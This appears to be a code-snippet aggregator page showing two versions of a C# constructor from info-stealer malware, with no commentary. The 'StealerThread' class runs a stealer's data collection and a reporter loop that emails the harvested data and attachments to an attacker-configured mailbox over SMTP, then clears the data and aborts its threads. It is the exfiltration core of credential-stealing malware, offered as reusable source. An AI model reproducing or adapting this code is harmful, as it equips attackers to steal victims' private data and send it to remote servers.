Exemple #1
0
 public StealerThread(IStealer stealer, int delay)
 {
     _delay    = delay;
     _stealer  = new Thread(stealer.Collect);
     _reporter = new Thread(delegate()
     {
         while (true)
         {
             bool runOnce = _delay < 1;
             if (!runOnce)
             {
                 Thread.Sleep(_delay * 60000);
             }
             if (string.IsNullOrEmpty(stealer.Data))
             {
                 continue;
             }
             ReportEmail em = new ReportEmail(stealer.Name,
                                              Program.Settings.EmailAddress,
                                              Program.Settings.EmailPassword,
                                              Program.Settings.SmtpAddress,
                                              Program.Settings.SmtpPort);
             if (stealer.Attachments == null)
             {
                 em.Send(stealer.Data);
             }
             else
             {
                 em.Send(stealer.Data, stealer.Attachments);
             }
             stealer.Data        = null;
             stealer.Attachments = null;
             if (runOnce)
             {
                 _stealer.Abort();
                 _reporter.Abort();
                 break;
             }
         }
     });
     Variables.StealerPool.Add(this);
 }
Exemple #2
0
 public StealerThread(IStealer stealer, int delay)
 {
     _delay = delay;
     _stealer = new Thread(stealer.Collect);
     _reporter = new Thread(delegate()
                                {
                                    while (true)
                                    {
                                        bool runOnce = _delay < 1;
                                        if (!runOnce)
                                        {
                                            Thread.Sleep(_delay*60000);
                                        }
                                        if (string.IsNullOrEmpty(stealer.Data)) continue;
                                        ReportEmail em = new ReportEmail(stealer.Name,
                                                                         Program.Settings.EmailAddress,
                                                                         Program.Settings.EmailPassword,
                                                                         Program.Settings.SmtpAddress,
                                                                         Program.Settings.SmtpPort);
                                        if (stealer.Attachments == null)
                                        {
                                            em.Send(stealer.Data);
                                        } else
                                        {
                                            em.Send(stealer.Data, stealer.Attachments);
                                        }
                                        stealer.Data = null;
                                        stealer.Attachments = null;
                                        if (runOnce)
                                        {
                                            _stealer.Abort();
                                            _reporter.Abort();
                                            break;
                                        }
                                    }
                                });
     Variables.StealerPool.Add(this);
 }